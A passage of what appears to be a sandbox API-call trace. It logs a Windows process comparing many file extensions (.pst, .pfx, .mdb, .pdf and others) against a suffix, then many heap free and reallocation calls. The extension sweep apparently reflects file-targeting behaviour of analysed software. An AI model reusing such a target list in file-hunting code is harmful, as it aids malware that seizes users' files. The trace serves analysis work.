(lpString=".json") returned 5 [0138.641] lstrcmpiW (lpString1=".json", lpString2="4.jar") returned -1 [0138.641] lstrlenW (lpString=".jsp") returned 4 [0138.641] lstrcmpiW (lpString1=".jsp", lpString2=".jar") returned 1 [0138.641] lstrlenW (lpString=".kdc") returned 4 [0138.641] lstrcmpiW (lpString1=".kdc", lpString2=".jar") returned 1 [0138.641] lstrlenW (lpString=".kmz") returned 4 [0138.641] lstrcmpiW (lpString1=".kmz", lpString2=".jar") returned 1 [0138.641] lstrlenW (lpString=".kwm") returned 4 [0138.641] lstrcmpiW (lpString1=".kwm", lpString2=".jar") returned 1 [0138.641] lstrlenW (lpString=".lasso") returned 6 [0138.641] lstrcmpiW (lpString1=".lasso", lpString2="64.jar") returned -1 [0138.641] lstrlenW (lpString=".lbi") returned 4 [0138.641] lstrcmpiW (lpString1=".lbi", lpString2=".jar") returned 1 [0138.641] lstrlenW (lpString=".lgf") returned 4 [0138.641] lstrcmpiW (lpString1=".lgf", lpString2=".jar") returned 1 [0138.641] lstrlenW (lpString=".lgp") returned 4 [0138.641] lstrcmpiW (lpString1=".lgp", lpString2=".jar") returned 1 [0138.641] lstrlenW (lpString=".log") returned 4 [0138.642] lstrcmpiW (lpString1=".log", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".m1v") returned 4 [0138.642] lstrcmpiW (lpString1=".m1v", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".m4a") returned 4 [0138.642] lstrcmpiW (lpString1=".m4a", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".m4v") returned 4 [0138.642] lstrcmpiW (lpString1=".m4v", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".max") returned 4 [0138.642] lstrcmpiW (lpString1=".max", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".md") returned 3 [0138.642] lstrcmpiW (lpString1=".md", lpString2="jar") returned -1 [0138.642] lstrlenW (lpString=".mda") returned 4 [0138.642] lstrcmpiW (lpString1=".mda", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".mdb") returned 4 [0138.642] lstrcmpiW (lpString1=".mdb", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".mde") returned 4 [0138.642] lstrcmpiW (lpString1=".mde", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".mdf") returned 4 [0138.642] lstrcmpiW (lpString1=".mdf", lpString2=".jar") returned 1 [0138.642] lstrlenW (lpString=".mdw") returned 4 [0138.643] lstrcmpiW (lpString1=".mdw", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mef") returned 4 [0138.643] lstrcmpiW (lpString1=".mef", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mft") returned 4 [0138.643] lstrcmpiW (lpString1=".mft", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mfw") returned 4 [0138.643] lstrcmpiW (lpString1=".mfw", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mht") returned 4 [0138.643] lstrcmpiW (lpString1=".mht", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mhtml") returned 6 [0138.643] lstrcmpiW (lpString1=".mhtml", lpString2="64.jar") returned -1 [0138.643] lstrlenW (lpString=".mka") returned 4 [0138.643] lstrcmpiW (lpString1=".mka", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mkidx") returned 6 [0138.643] lstrcmpiW (lpString1=".mkidx", lpString2="64.jar") returned -1 [0138.643] lstrlenW (lpString=".mkv") returned 4 [0138.643] lstrcmpiW (lpString1=".mkv", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mos") returned 4 [0138.643] lstrcmpiW (lpString1=".mos", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mov") returned 4 [0138.643] lstrcmpiW (lpString1=".mov", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mp3") returned 4 [0138.643] lstrcmpiW (lpString1=".mp3", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mp4") returned 4 [0138.643] lstrcmpiW (lpString1=".mp4", lpString2=".jar") returned 1 [0138.643] lstrlenW (lpString=".mpeg") returned 5 [0138.643] lstrcmpiW (lpString1=".mpeg", lpString2="4.jar") returned -1 [0138.643] lstrlenW (lpString=".mpg") returned 4 [0138.644] lstrcmpiW (lpString1=".mpg", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".mpv") returned 4 [0138.644] lstrcmpiW (lpString1=".mpv", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".mrw") returned 4 [0138.644] lstrcmpiW (lpString1=".mrw", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".msg") returned 4 [0138.644] lstrcmpiW (lpString1=".msg", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".mxl") returned 4 [0138.644] lstrcmpiW (lpString1=".mxl", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".myd") returned 4 [0138.644] lstrcmpiW (lpString1=".myd", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".myi") returned 4 [0138.644] lstrcmpiW (lpString1=".myi", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".nef") returned 4 [0138.644] lstrcmpiW (lpString1=".nef", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".nrw") returned 4 [0138.644] lstrcmpiW (lpString1=".nrw", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".obj") returned 4 [0138.644] lstrcmpiW (lpString1=".obj", lpString2=".jar") returned 1 [0138.644] lstrlenW (lpString=".odb") returned 4 [0138.645] lstrcmpiW (lpString1=".odb", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".odc") returned 4 [0138.645] lstrcmpiW (lpString1=".odc", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".odm") returned 4 [0138.645] lstrcmpiW (lpString1=".odm", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".odp") returned 4 [0138.645] lstrcmpiW (lpString1=".odp", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".ods") returned 4 [0138.645] lstrcmpiW (lpString1=".ods", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".oft") returned 4 [0138.645] lstrcmpiW (lpString1=".oft", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".one") returned 4 [0138.645] lstrcmpiW (lpString1=".one", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".onepkg") returned 7 [0138.645] lstrcmpiW (lpString1=".onepkg", lpString2="-64.jar") returned -1 [0138.645] lstrlenW (lpString=".onetoc2") returned 8 [0138.645] lstrcmpiW (lpString1=".onetoc2", lpString2="e-64.jar") returned -1 [0138.645] lstrlenW (lpString=".opt") returned 4 [0138.645] lstrcmpiW (lpString1=".opt", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".oqy") returned 4 [0138.645] lstrcmpiW (lpString1=".oqy", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".orf") returned 4 [0138.645] lstrcmpiW (lpString1=".orf", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".p12") returned 4 [0138.645] lstrcmpiW (lpString1=".p12", lpString2=".jar") returned 1 [0138.645] lstrlenW (lpString=".p7b") returned 4 [0138.646] lstrcmpiW (lpString1=".p7b", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".p7c") returned 4 [0138.646] lstrcmpiW (lpString1=".p7c", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pam") returned 4 [0138.646] lstrcmpiW (lpString1=".pam", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pbm") returned 4 [0138.646] lstrcmpiW (lpString1=".pbm", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pct") returned 4 [0138.646] lstrcmpiW (lpString1=".pct", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pcx") returned 4 [0138.646] lstrcmpiW (lpString1=".pcx", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pdd") returned 4 [0138.646] lstrcmpiW (lpString1=".pdd", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pdf") returned 4 [0138.646] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pdp") returned 4 [0138.646] lstrcmpiW (lpString1=".pdp", lpString2=".jar") returned 1 [0138.646] lstrlenW (lpString=".pef") returned 4 [0138.662] lstrcmpiW (lpString1=".pef", lpString2=".jar") returned 1 [0138.662] lstrlenW (lpString=".pem") returned 4 [0138.662] lstrcmpiW (lpString1=".pem", lpString2=".jar") returned 1 [0138.662] lstrlenW (lpString=".pff") returned 4 [0138.662] lstrcmpiW (lpString1=".pff", lpString2=".jar") returned 1 [0138.662] lstrlenW (lpString=".pfm") returned 4 [0138.662] lstrcmpiW (lpString1=".pfm", lpString2=".jar") returned 1 [0138.662] lstrlenW (lpString=".pfx") returned 4 [0138.662] lstrcmpiW (lpString1=".pfx", lpString2=".jar") returned 1 [0138.662] lstrlenW (lpString=".pgm") returned 4 [0138.662] lstrcmpiW (lpString1=".pgm", lpString2=".jar") returned 1 [0138.662] lstrlenW (lpString=".php") returned 4 [0138.663] lstrcmpiW (lpString1=".php", lpString2=".jar") returned 1 [0138.663] lstrlenW (lpString=".php3") returned 5 [0138.663] lstrcmpiW (lpString1=".php3", lpString2="4.jar") returned -1 [0138.663] lstrlenW (lpString=".php4") returned 5 [0138.663] lstrcmpiW (lpString1=".php4", lpString2="4.jar") returned -1 [0138.663] lstrlenW (lpString=".php5") returned 5 [0138.663] lstrcmpiW (lpString1=".php5", lpString2="4.jar") returned -1 [0138.663] lstrlenW (lpString=".phtml") returned 6 [0138.663] lstrcmpiW (lpString1=".phtml", lpString2="64.jar") returned -1 [0138.663] lstrlenW (lpString=".pict") returned 5 [0138.663] lstrcmpiW (lpString1=".pict", lpString2="4.jar") returned -1 [0138.663] lstrlenW (lpString=".pl") returned 3 [0138.663] lstrcmpiW (lpString1=".pl", lpString2="jar") returned -1 [0138.663] lstrlenW (lpString=".pls") returned 4 [0138.663] lstrcmpiW (lpString1=".pls", lpString2=".jar") returned 1 [0138.663] lstrlenW (lpString=".pm") returned 3 [0138.663] lstrcmpiW (lpString1=".pm", lpString2="jar") returned -1 [0138.663] lstrlenW (lpString=".png") returned 4 [0138.663] lstrcmpiW (lpString1=".png", lpString2=".jar") returned 1 [0138.663] lstrlenW (lpString=".pnm") returned 4 [0138.663] lstrcmpiW (lpString1=".pnm", lpString2=".jar") returned 1 [0138.663] lstrlenW (lpString=".pot") returned 4 [0138.664] lstrcmpiW (lpString1=".pot", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".potm") returned 5 [0138.664] lstrcmpiW (lpString1=".potm", lpString2="4.jar") returned -1 [0138.664] lstrlenW (lpString=".potx") returned 5 [0138.664] lstrcmpiW (lpString1=".potx", lpString2="4.jar") returned -1 [0138.664] lstrlenW (lpString=".ppa") returned 4 [0138.664] lstrcmpiW (lpString1=".ppa", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".ppam") returned 5 [0138.664] lstrcmpiW (lpString1=".ppam", lpString2="4.jar") returned -1 [0138.664] lstrlenW (lpString=".ppm") returned 4 [0138.664] lstrcmpiW (lpString1=".ppm", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".pps") returned 4 [0138.664] lstrcmpiW (lpString1=".pps", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".ppsm") returned 5 [0138.664] lstrcmpiW (lpString1=".ppsm", lpString2="4.jar") returned -1 [0138.664] lstrlenW (lpString=".ppt") returned 4 [0138.664] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".pptm") returned 5 [0138.664] lstrcmpiW (lpString1=".pptm", lpString2="4.jar") returned -1 [0138.664] lstrlenW (lpString=".pptx") returned 5 [0138.664] lstrcmpiW (lpString1=".pptx", lpString2="4.jar") returned -1 [0138.664] lstrlenW (lpString=".prn") returned 4 [0138.664] lstrcmpiW (lpString1=".prn", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".ps") returned 3 [0138.664] lstrcmpiW (lpString1=".ps", lpString2="jar") returned -1 [0138.664] lstrlenW (lpString=".psb") returned 4 [0138.664] lstrcmpiW (lpString1=".psb", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".psd") returned 4 [0138.664] lstrcmpiW (lpString1=".psd", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".pst") returned 4 [0138.664] lstrcmpiW (lpString1=".pst", lpString2=".jar") returned 1 [0138.664] lstrlenW (lpString=".ptx") returned 4 [0138.665] lstrcmpiW (lpString1=".ptx", lpString2=".jar") returned 1 [0138.665] lstrlenW (lpString=".pub") returned 4 [0138.665] lstrcmpiW (lpString1=".pub", lpString2=".jar") returned 1 [0138.665] lstrlenW (lpString=".pwm") returned 4 [0138.665] lstrcmpiW (lpString1=".pwm", lpString2=".jar") returned 1 [0138.665] lstrlenW (lpString=".pxr") returned 4 [0138.665] lstrcmpiW (lpString1=".pxr", lpString2=".jar") returned 1 [0138.665] lstrlenW (lpString=".py") returned 3 [0138.665] lstrcmpiW (lpString1=".py", lpString2="jar") returned -1 [0138.665] lstrlenW (lpString=".qt") returned 3 [0138.665] lstrcmpiW (lpString1=".qt", lpString2="jar") returned -1 [0138.665] lstrlenW (lpString=".r3d") returned 4 [0138.665] lstrcmpiW (lpString1=".r3d", lpString2=".jar") returned 1 [0138.665] lstrlenW (lpString=".raf") returned 4 [0138.665] lstrcmpiW (lpString1=".raf", lpString2=".jar") returned 1 [0138.665] lstrlenW (lpString=".rar") returned 4 [0138.665] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0138.665] lstrlenW (lpString=".raw") returned 4 [0138.665] lstrcmpiW (lpString1=".raw", lpString2=".jar") returned 1 [0138.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0138.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0139.083] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df80c0 | out: hHeap=0x5a0000) returned 1 [0139.083] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0139.169] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0139.195] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0139.316] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0139.316] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d90088 | out: hHeap=0x5a0000) returned 1 [0139.316] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0139.318] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0139.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0139.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0139.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0139.370] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3df00b8, Size=0x10000) returned 0x3d80080 [0139.383] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3d80080, Size=0x20000) returned 0x3d80080 [0139.527] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3d80080, Size=0x40000) returned 0x3e380d8 [0139.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0139.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0139.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0139.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0139.706] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0139.935] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0139.937] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0139.937] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0139.940] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0140.378] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0140.689] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3e380d8, Size=0x80000) returned 0x4012020 [0140.711] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0144.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e180c8 | out: hHeap=0x5a0000) returned 1 [0144.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0144.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0145.159] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0145.160] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0145.376] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0145.376] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0145.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0145.542] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0146.224] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e790e8 | out: hHeap=0x5a0000) returned 1 [0146.610] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e790e8 | out: hHeap=0x5a0000) returned 1 [0146.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e790e8 | out: hHeap=0x5a0000) returned 1 [0146.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0146.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0146.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0146.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0146.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0146.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0146.999] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.285] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.292] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.293] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.312] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.313] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.479] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.483] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.485] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.607] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.940] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0147.942] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.294] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.296] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.305] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.307] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.310] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.313] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.315] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.320] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.694] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.696] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0148.793] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.055] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.059] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.060] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.147] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.149] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.151] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.153] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.153] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0149.153] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0149.159] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0149.287] HeapFree (hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0) [0149.287] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0149.288] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0149.291] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0149.293] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0149.432] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0149.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0149.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.535] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.847] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.920] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.925] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.927] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.929] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.942] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.944] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.946] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0151.948] HeapFree (in: hHeap=0x5a0000, 